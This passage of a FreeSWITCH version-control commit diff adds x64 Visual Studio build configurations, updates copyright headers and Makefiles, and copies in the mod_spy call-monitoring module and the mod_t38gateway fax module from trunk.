+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -139,6 +207,70 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/src/mod/applications/mod_snom/mod_snom.c (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_snom/mod_snom.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_snom/mod_snom.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  * mod_snom.c -- SNOM Specific Features
  *

Modified: freeswitch/branches/seven/src/mod/applications/mod_soundtouch/Makefile (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_soundtouch/Makefile	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_soundtouch/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,4 +1,3 @@
-
 VERSION=soundtouch-1.3.1
 DIRECTORY=$(switch_srcdir)/libs/$(VERSION)
 LA=$(DIRECTORY)/source/SoundTouch/.libs/libSoundTouch.a
@@ -10,10 +9,12 @@
 
 include $(BASE)/build/modmake.rules
 
-$(DIRECTORY):
+$(DIRECTORY)/Makefile $(DIRECTORY)/config.status:
 	$(GETLIB) $(VERSION).tar.gz
 	cd $(DIRECTORY) && ./configure $(DEFAULT_ARGS) --enable-integer-samples
+	$(TOUCH_TARGET)
 
-$(LA): $(DIRECTORY)
+$(LA): $(DIRECTORY)/Makefile $(DIRECTORY)/config.status
 	cd $(DIRECTORY) && $(MAKE)
 	$(TOUCH_TARGET)
+

Modified: freeswitch/branches/seven/src/mod/applications/mod_soundtouch/mod_soundtouch.cpp (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_soundtouch/mod_soundtouch.cpp	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_soundtouch/mod_soundtouch.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  * mod_soundtouch.cpp -- Example of writeable media bugs
  *
@@ -278,7 +278,7 @@
 		for (x = 0; x < argc; x++) {
 			if (!strncasecmp(argv[x], "send_leg", 8)) {
 				sth->send_not_recv = true;
-			}else if(!strncasecmp(argv[x], "hook_dtmf", 9)) {
+			} else if (!strncasecmp(argv[x], "hook_dtmf", 9)) {
 				sth->hook_dtmf = true;
 			} else if (strchr(argv[x], 'p')) {
 				sth->pitch = normalize_soundtouch_value('p',atof(argv[x]));

Copied: freeswitch/branches/seven/src/mod/applications/mod_spy (from rev 14471, freeswitch/trunk/src/mod/applications/mod_spy)

Deleted: freeswitch/branches/seven/src/mod/applications/mod_spy/Makefile

Copied: freeswitch/branches/seven/src/mod/applications/mod_spy/Makefile (from rev 14471, freeswitch/trunk/src/mod/applications/mod_spy/Makefile) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_spy/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_spy/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,2 @@
+BASE=../../../..
+include $(BASE)/build/modmake.rules

Deleted: freeswitch/branches/seven/src/mod/applications/mod_spy/mod_spy.c

Copied: freeswitch/branches/seven/src/mod/applications/mod_spy/mod_spy.c (from rev 14471, freeswitch/trunk/src/mod/applications/mod_spy/mod_spy.c) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_spy/mod_spy.c	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_spy/mod_spy.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,288 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Anthony Minessale II <anthm@freeswitch.org>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Csaba Zelei <csaba.zelei@eworldcom.net>
+ *
+ * Thanks for eWorld Com Ltd. for funding the module. 
+ *
+ * mod_spy.c -- UserSpy Module
+ *
+ */
+
+#include <switch.h>
+
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_spy_shutdown);
+SWITCH_MODULE_LOAD_FUNCTION(mod_spy_load);
+
+SWITCH_MODULE_DEFINITION(mod_spy, mod_spy_load, mod_spy_shutdown, NULL);
+
+struct mod_spy_globals {
+	switch_memory_pool_t* pool;
+	switch_event_node_t* node;
+	switch_hash_t* spy_hash;
+	switch_thread_rwlock_t* spy_hash_lock;
+	uint32_t spy_count;
+} globals;
+
+static switch_status_t spy_on_hangup(switch_core_session_t *session)
+{
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+
+	char* data = switch_channel_get_private(channel,"_userspy_");
+	switch_thread_rwlock_wrlock(globals.spy_hash_lock);
+	
+	if ((switch_core_hash_delete(globals.spy_hash,data) != SWITCH_STATUS_SUCCESS)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,"No such key in userspy: %s \n",data);
+
+	} else {	
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,"Userspy deactivated on %s\n",data);
+		globals.spy_count--;
+	}
+
+	switch_thread_rwlock_unlock(globals.spy_hash_lock);
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t spy_on_exchange_media(switch_core_session_t *session)
+{
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	const char* spy_uuid = switch_channel_get_variable(channel,"spy_uuid");
+   
+	if (spy_uuid) {
+		if (switch_ivr_eavesdrop_session(session,spy_uuid,NULL,ED_DTMF) != SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,"Can't eavesdrop on uuid %s\n",spy_uuid);
+		}
+	}
+
+	switch_channel_set_state(channel,CS_PARK);
+    return SWITCH_STATUS_FALSE;
+}
+
+static switch_status_t spy_on_park(switch_core_session_t *session)
+{
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	const char *moh = switch_channel_get_variable(channel, "hold_music");
+
+	while(switch_channel_ready(channel) && switch_channel_get_state(channel) == CS_PARK) {
+		if (moh) {
+			switch_status_t status = switch_ivr_play_file(session, NULL, moh, NULL);
+			if (!SWITCH_READ_ACCEPTABLE(status)) {
+				break;
+			}
+		}
+	}
+	return SWITCH_STATUS_FALSE;
+}
+
+
+static const switch_state_handler_table_t spy_state_handlers = {
+    /*.on_init */ NULL,
+    /*.on_routing */ NULL,
+    /*.on_execute */ NULL,
+    /*.on_hangup */ spy_on_hangup,
+    /*.on_exchange_media */ spy_on_exchange_media,
+    /*.on_soft_execute */ NULL,
+    /*.on_consume_media */ NULL,
+	/* on_hibernate */ NULL,
+	/* on reset */ NULL,
+	/* on_park */ spy_on_park,
+};
+
+SWITCH_STANDARD_API(dump_hash)
+{
+	switch_hash_index_t *hi;
+	const void* key;
+	void* val;
+
+	switch_thread_rwlock_rdlock(globals.spy_hash_lock);
+
+	for (hi = switch_hash_first(NULL,globals.spy_hash);hi; hi = switch_hash_next(hi)){
+		switch_hash_this(hi,&key,NULL,&val);
+		stream->write_function(stream,"%s : %s\n",(char*)key,(const char*)val);
+	}
+
+	stream->write_function(stream,"\n%d total spy\n",globals.spy_count);
+	switch_thread_rwlock_unlock(globals.spy_hash_lock);
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static void event_handler(switch_event_t* event) 
+{
+	switch_core_session_t *session;
+	switch_channel_t *channel;
+	char *username[2] = {0};
+	char* domain[2] = {0};
+	char key[512];
+	char* uuid = NULL, *my_uuid = NULL;
+	int i;
+
+	switch_thread_rwlock_rdlock(globals.spy_hash_lock);
+
+	if (!globals.spy_count) {
+		goto done;
+	}
+
+	username[0] = switch_event_get_header(event,"Caller-Username");
+	domain[0] = switch_event_get_header(event,"variable_domain_name");
+	domain[1] = switch_event_get_header(event,"variable_dialed_domain");
+	username[1] = switch_event_get_header(event,"variable_dialed_user");
+
+	for (i = 0; i < 2; i++) {
+		if (username[i] && domain[i]) {
+			switch_snprintf(key,sizeof(key),"%s@%s",username[i],domain[i]);	   
+
+			if ((uuid = switch_core_hash_find(globals.spy_hash,key))) {
+				break;
+			}
+		}
+	}
+
+ done:
+	switch_thread_rwlock_unlock(globals.spy_hash_lock);
+
+	if (!uuid) {
+		return;
+	}
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,"UserSpy retrieved uuid %s for key %s, activating eavesdrop \n",uuid,key);
+	my_uuid = switch_event_get_header(event,"Unique-ID");
+
+	session = switch_core_session_locate(uuid);
+	channel = switch_core_session_get_channel(session);
+
+	switch_channel_set_variable(channel,"spy_uuid",my_uuid);
+
+	switch_channel_set_state(channel,CS_EXCHANGE_MEDIA);
+	switch_channel_set_flag(channel,CF_BREAK);
+
+	switch_core_session_rwunlock(session);
+
+}
+
+#define USERSPY_SYNTAX "<user@domain> [uuid]"
+SWITCH_STANDARD_APP(userspy_function) 
+{
+	int argc = 0;
+	char* argv[2] = {0};
+	char* params = NULL;
+
+	if (!switch_strlen_zero(data) && (params = switch_core_session_strdup(session,data))) {
+		if ((argc = switch_separate_string(params, ' ', argv, (sizeof(argv) / sizeof(argv[0])))) >= 1) {
+
+			switch_channel_t *channel = switch_core_session_get_channel(session);
+			char* uuid = switch_core_session_get_uuid(session);
+			switch_status_t status;
+
+			switch_thread_rwlock_wrlock(globals.spy_hash_lock);
+			if (switch_core_hash_find(globals.spy_hash,argv[0])) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,"Spy already exists for %s\n",argv[0]);
+				switch_channel_hangup(channel,SWITCH_CAUSE_NORMAL_CLEARING);
+				switch_thread_rwlock_unlock(globals.spy_hash_lock);
+				return;
+			}
+
+			status = switch_core_hash_insert(globals.spy_hash,argv[0],(void*) uuid);
+
+			if ((status != SWITCH_STATUS_SUCCESS)) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,"Cant insert to spy hash\n");
+				switch_channel_hangup(channel,SWITCH_CAUSE_SERVICE_NOT_IMPLEMENTED);
+				switch_thread_rwlock_unlock(globals.spy_hash_lock);		
+				return;
+			}
+
+			globals.spy_count++;
+			switch_thread_rwlock_unlock(globals.spy_hash_lock);
+
+			switch_channel_set_private(channel,"_userspy_",(void*) argv[0]);
+			switch_channel_add_state_handler(channel,&spy_state_handlers);
+
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,"UserSpy activated on %s \n",argv[0]);
+
+			if (argv[1]) {
+				switch_channel_set_variable(channel,"spy_uuid",argv[1]);
+				switch_channel_set_state(channel,CS_EXCHANGE_MEDIA);
+				return;
+			}
+
+			switch_channel_set_state(channel,CS_PARK);
+			return;
+		}
+		return;
+	}
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Usage: %s\n", USERSPY_SYNTAX);
+}
+
+SWITCH_MODULE_LOAD_FUNCTION(mod_spy_load)
+{
+	switch_application_interface_t *app_interface;
+	switch_api_interface_t *api_interface;
+
+	/* connect my internal structure to the blank pointer passed to me */
+	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
+
+	globals.pool = pool;
+
+	switch_core_hash_init(&globals.spy_hash,pool);
+	switch_thread_rwlock_create(&globals.spy_hash_lock,pool);
+	globals.spy_count = 0;
+
+	switch_event_bind_removable(modname, SWITCH_EVENT_CHANNEL_BRIDGE, NULL, event_handler, NULL, &globals.node);
+	
+	SWITCH_ADD_APP(app_interface,"userspy","Spy on a user constantly","Spy on a user constantly",userspy_function,USERSPY_SYNTAX,SAF_NONE);
+	SWITCH_ADD_API(api_interface,"userspy_show","Show current spies",dump_hash,"userspy_show");
+	
+	/* indicate that the module should continue to be loaded */
+	return SWITCH_STATUS_SUCCESS;
+}
+
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_spy_shutdown)
+{
+	int sanity = 0;
+
+    while (globals.spy_count) {
+        switch_cond_next();
+        if (++sanity >= 60000) {
+            break;
+        }
+    }
+
+	switch_event_unbind(&globals.node);
+	switch_core_hash_destroy(&globals.spy_hash);
+	switch_thread_rwlock_destroy(globals.spy_hash_lock);
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4 expandtab:
+ */

Modified: freeswitch/branches/seven/src/mod/applications/mod_stress/FFTReal.h (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_stress/FFTReal.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_stress/FFTReal.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,139 +1,139 @@
-/*****************************************************************************
-*                                                                            *
-*       DIGITAL SIGNAL PROCESSING TOOLS                                      *
-*       Version 1.03, 2001/06/15                                             *
-*       (c) 1999 - Laurent de Soras                                          *
-*                                                                            *
-*       FFTReal.h                                                            *
-*       Fourier transformation of real number arrays.                        *
-*       Portable ISO C++                                                     *
-*                                                                            *
-* Tab = 3                                                                    *
-*****************************************************************************/
-
-
-
-#if defined (FFTReal_CURRENT_HEADER)
-	#error Recursive inclusion of FFTReal header file.
-#endif
-#define	FFTReal_CURRENT_HEADER
-
-#if ! defined (FFTReal_HEADER_INCLUDED)
-#define	FFTReal_HEADER_INCLUDED
-
-
-
-#if defined (_MSC_VER)
-#pragma pack (push, 8)
-#endif	// _MSC_VER
-
-
-
-class	FFTReal
-{
-
-/*\\\ PUBLIC \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
-
-public:
-
-	/* Change this typedef to use a different floating point type in your FFTs
-		(i.e. float, double or long double). */
-	typedef float	flt_t;
-
-	explicit			FFTReal (const long length);
-						~FFTReal ();
-	void				do_fft (flt_t f [], const flt_t x []) const;
-	void				do_ifft (const flt_t f [], flt_t x []) const;
-	void				rescale (flt_t x []) const;
-
-
-
-/*\\\ PRIVATE \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
-
-private:
-
-	/* Bit-reversed look-up table nested class */
-	class BitReversedLUT
-	{
-	public:
-		explicit			BitReversedLUT (const int nbr_bits);
-							~BitReversedLUT ();
-		const long *	get_ptr () const
-		{
-			return (_ptr);
-		}
-	private:
-		long *			_ptr;
-	};
-
-	/* Trigonometric look-up table nested class */
-	class	TrigoLUT
-	{
-	public:
-		explicit			TrigoLUT (const int nbr_bits);
-							~TrigoLUT ();
-		const flt_t	*	get_ptr (const int level) const
-		{
-			return (_ptr + (1L << (level - 1)) - 4);
-		};
-	private:
-		flt_t	*			_ptr;
-	};
-
-	const BitReversedLUT	_bit_rev_lut;
-	const TrigoLUT	_trigo_lut;
-	const flt_t		_sqrt2_2;
-	const long		_length;
-	const int		_nbr_bits;
-	flt_t *			_buffer_ptr;
-
-
-
-/*\\\ FORBIDDEN MEMBER FUNCTIONS \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
-
-private:
-
-						FFTReal (const FFTReal &other);
-	const FFTReal&	operator = (const FFTReal &other);
-	int				operator == (const FFTReal &other);
-	int				operator != (const FFTReal &other);
-};
-
-
-
-#if defined (_MSC_VER)
-#pragma pack (pop)
-#endif	// _MSC_VER
-
-
-
-#endif	// FFTReal_HEADER_INCLUDED
-
-#undef FFTReal_CURRENT_HEADER
-
-
-
-/*****************************************************************************
-
-	LEGAL
-
-	Source code may be freely used for any purpose, including commercial
-	applications. Programs must display in their "About" dialog-box (or
-	documentation) a text telling they use these routines by Laurent de Soras.
-	Modified source code can be distributed, but modifications must be clearly
-	indicated.
-
-	CONTACT
-
-	Laurent de Soras
-	92 avenue Albert 1er
-	92500 Rueil-Malmaison
-	France
-
-	ldesoras@club-internet.fr
-
-*****************************************************************************/
-
-
-
-/*\\\ EOF \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
+/*****************************************************************************
+*                                                                            *
+*       DIGITAL SIGNAL PROCESSING TOOLS                                      *
+*       Version 1.03, 2001/06/15                                             *
+*       (c) 1999 - Laurent de Soras                                          *
+*                                                                            *
+*       FFTReal.h                                                            *
+*       Fourier transformation of real number arrays.                        *
+*       Portable ISO C++                                                     *
+*                                                                            *
+* Tab = 3                                                                    *
+*****************************************************************************/
+
+
+
+#if defined (FFTReal_CURRENT_HEADER)
+	#error Recursive inclusion of FFTReal header file.
+#endif
+#define	FFTReal_CURRENT_HEADER
+
+#if ! defined (FFTReal_HEADER_INCLUDED)
+#define	FFTReal_HEADER_INCLUDED
+
+
+
+#if defined (_MSC_VER)
+#pragma pack (push, 8)
+#endif	// _MSC_VER
+
+
+
+class	FFTReal
+{
+
+/*\\\ PUBLIC \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
+
+public:
+
+	/* Change this typedef to use a different floating point type in your FFTs
+		(i.e. float, double or long double). */
+	typedef float	flt_t;
+
+	explicit			FFTReal (const long length);
+						~FFTReal ();
+	void				do_fft (flt_t f [], const flt_t x []) const;
+	void				do_ifft (const flt_t f [], flt_t x []) const;
+	void				rescale (flt_t x []) const;
+
+
+
+/*\\\ PRIVATE \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
+
+private:
+
+	/* Bit-reversed look-up table nested class */
+	class BitReversedLUT
+	{
+	public:
+		explicit			BitReversedLUT (const int nbr_bits);
+							~BitReversedLUT ();
+		const long *	get_ptr () const
+		{
+			return (_ptr);
+		}
+	private:
+		long *			_ptr;
+	};
+
+	/* Trigonometric look-up table nested class */
+	class	TrigoLUT
+	{
+	public:
+		explicit			TrigoLUT (const int nbr_bits);
+							~TrigoLUT ();
+		const flt_t	*	get_ptr (const int level) const
+		{
+			return (_ptr + (1L << (level - 1)) - 4);
+		};
+	private:
+		flt_t	*			_ptr;
+	};
+
+	const BitReversedLUT	_bit_rev_lut;
+	const TrigoLUT	_trigo_lut;
+	const flt_t		_sqrt2_2;
+	const long		_length;
+	const int		_nbr_bits;
+	flt_t *			_buffer_ptr;
+
+
+
+/*\\\ FORBIDDEN MEMBER FUNCTIONS \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/
+
+private:
+
+						FFTReal (const FFTReal &other);
+	const FFTReal&	operator = (const FFTReal &other);
+	int				operator == (const FFTReal &other);
+	int				operator != (const FFTReal &other);
+};
+
+
+
+#if defined (_MSC_VER)
+#pragma pack (pop)
+#endif	// _MSC_VER
+
+
+
+#endif	// FFTReal_HEADER_INCLUDED
+
+#undef FFTReal_CURRENT_HEADER
+
+
+
+/*****************************************************************************
+
+	LEGAL
+
+	Source code may be freely used for any purpose, including commercial
+	applications. Programs must display in their "About" dialog-box (or
+	documentation) a text telling they use these routines by Laurent de Soras.
+	Modified source code can be distributed, but modifications must be clearly
+	indicated.
+
+	CONTACT
+
+	Laurent de Soras
+	92 avenue Albert 1er
+	92500 Rueil-Malmaison
+	France
+
+	ldesoras@club-internet.fr
+
+*****************************************************************************/
+
+
+
+/*\\\ EOF \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*/

Modified: freeswitch/branches/seven/src/mod/applications/mod_stress/mod_stress.cpp (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_stress/mod_stress.cpp	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_stress/mod_stress.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  * mod_stress.cpp -- Detect Voice Stress
  *

Copied: freeswitch/branches/seven/src/mod/applications/mod_t38gateway (from rev 14471, freeswitch/trunk/src/mod/applications/mod_t38gateway)

Deleted: freeswitch/branches/seven/src/mod/applications/mod_t38gateway/Makefile

Copied: freeswitch/branches/seven/src/mod/applications/mod_t38gateway/Makefile (from rev 14471, freeswitch/trunk/src/mod/applications/mod_t38gateway/Makefile) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_t38gateway/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_t38gateway/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,6 @@
+BASE=../../../..
+
+LOCAL_SOURCES=udptl.c
+LOCAL_OBJS=udptl.o
+
+include $(BASE)/build/modmake.rules

Deleted: freeswitch/branches/seven/src/mod/applications/mod_t38gateway/mod_t38gateway.2008.vcproj

Copied: freeswitch/branches/seven/src/mod/applications/mod_t38gateway/mod_t38gateway.2008.vcproj (from rev 14471, freeswitch/trunk/src/mod/applications/mod_t38gateway/mod_t38gateway.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_t38gateway/mod_t38gateway.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_t38gateway/mod_t38gateway.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,291 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="mod_t38gateway"
+	ProjectGUID="{14E4A972-9CFB-436D-B0A5-4943F3F80D47}"
+	RootNamespace="mod_t38gateway"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+		<Platform
+			Name="x64"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\spandsp\src\msvc&quot;;&quot;$(InputDir)..\..\..\..\libs\spandsp\src&quot;;&quot;$(InputDir)..\..\..\..\libs\tiff-3.8.2\libtiff&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\spandsp\src\msvc&quot;;&quot;$(InputDir)..\..\..\..\libs\spandsp\src&quot;;&quot;$(InputDir)..\..\..\..\libs\tiff-3.8.2\libtiff&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				OutputFile="$(SolutionDir)$(PlatformName)\$(ConfigurationName)/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
